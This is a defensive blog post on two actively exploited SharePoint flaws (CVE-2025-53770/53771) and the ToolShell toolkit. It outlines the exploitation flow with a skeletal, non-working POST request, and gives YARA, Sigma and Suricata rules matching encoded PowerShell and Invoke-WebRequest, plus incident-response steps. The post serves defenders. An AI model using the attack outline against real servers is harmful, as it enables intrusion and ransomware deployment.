ToolShell in the Wild — CVE‑2025‑53770 & CVE‑2025‑53771

Sometimes the vitals don’t lie, and in this case, SharePoint was bleeding out before anyone even checked the pulse.

Two vulnerabilities — CVE‑2025‑53770 and CVE‑2025‑53771 — are being actively exploited through a free public toolkit called ToolShell. These aren’t theoretical. Hundreds of SharePoint instances have already been compromised with open-source ransomware like Warlock. Over 9,000 are still exposed.

This post breaks it down — not from a distance, but through the lens of someone who used to triage human lives before I triaged machines. Let’s dig in.

📌 CVE Context

• Vendor: Microsoft SharePoint (on-prem)
• CVE‑2025‑53770: Remote Code Execution via unauthenticated crafted POST to SharePoint API
• CVE‑2025‑53771: Privilege escalation through insecure deserialization and token abuse
• Toolkit: ToolShell (PowerShell-based post-exploit framework)
• Payloads Observed: Warlock ransomware, PowerShell backdoors, persistence scripts
• Confirmed Victims: 400+ and growing
• Exposed Systems: Over 9,000 globally

CVSS v4.0 Breakdown

🔬 Exploitation Flow

1. Attacker sends a crafted POST request to the SharePoint endpoint /_layouts/15/start.aspx
2. Malicious PowerShell payload is encoded into __VIEWSTATE and __EVENTVALIDATION fields
3. Deserializer flaw (53770) executes the command server-side
4. ToolShell establishes persistence and uses 53771 to escalate privileges
5. Payload drops ransomware, implants, or launches lateral movement

# Sample Payload Structure
POST /_layouts/15/start.aspx HTTP/1.1
Host: victim.internal
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

__VIEWSTATE=base64_encoded_payload&__EVENTVALIDATION=base64_token

🧪 Detection Rules

YARA

rule ToolShell_RCE_SharePoint
{
    meta:
        description = "Detect ToolShell exploitation against SharePoint"
        author = "SOCDFIR Labs"
        cve = "CVE-2025-53770"
    strings:
        $a = "powershell -enc"
        $b = "Invoke-WebRequest"
        $c = "VIEWSTATE"
    condition:
        all of them
}

Sigma

title: SharePoint ToolShell Exploit Detection
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - "Invoke-WebRequest"
      - "VIEWSTATE"
      - "start.aspx"
  condition: selection
level: high

Suricata

alert http any any -> any any (
    msg:"ToolShell SharePoint Exploit Attempt";
    flow:to_server,established;
    http.uri; content:"/start.aspx";
    http.method; content:"POST";
    content:"VIEWSTATE";
    classtype:web-application-attack;
    sid:202553770;
    rev:1;
)

🛠️ IR Playbook Recommendations

• Hunt for large POST requests to /_layouts/15/start.aspx
• Correlate Event ID 4104 (PowerShell script blocks) with outbound traffic or privilege escalation behavior
• Look for ViewState tampering or abnormal Base64 blobs in HTTP bodies
• Scan affected endpoints for ToolShell persistence modules or Warlock ransomware indicators
• Check for registry tampering, scheduled tasks, WMI scripts, or PSRemoting usage post-exploit
• Isolate impacted servers and rotate API tokens, local admin credentials, and service accounts

🚑 EMS Lens: When Seconds Matter, You Don’t “Wait and See”

In emergency medicine, we are trained to catch internal bleeds before they crash. Some of the most critical patients don’t come in screaming. They come in quiet, compensating — until they can’t.

That’s what these vulnerabilities are. ToolShell didn’t explode overnight. It moved quietly through endpoints that looked fine on the surface. There were warnings. The tooling was public. The access path was known. But the signs were easy to overlook when the patient — or in this case, the system — still appeared stable.

This isn’t about blame. I’ve worked short-staffed, under pressure, with not enough hands to watch every monitor. I know how easy it is to miss something when there are fires everywhere. But in both fields — EMS and cybersecurity — we learn to trust early signs. A gut feeling, a pattern, a shift in rhythm. You don’t wait for the flatline. You act when something feels wrong.

ToolShell reminds us that if you wait until ransomware hits, the bleed is already critical. Early action matters. Even if you’re not 100 percent sure. Especially then.

🧠 Final Thoughts

This was preventable. The exploit path was public. The toolkit was free. The telemetry was visible — if you were looking.

Organizations don’t fail because people don’t care. They fail when the signs get lost in the noise, when responders are too stretched to triage every endpoint, and when the patch window slips one week too far.

ToolShell isn’t a stealth kill. It’s a quiet bleed. And quiet bleeds are the ones that take you out if you’re not watching.

If your systems are vulnerable, patch now. If they’ve already been touched, isolate, triage, and remediate like lives depend on it. Because in some sectors — they do.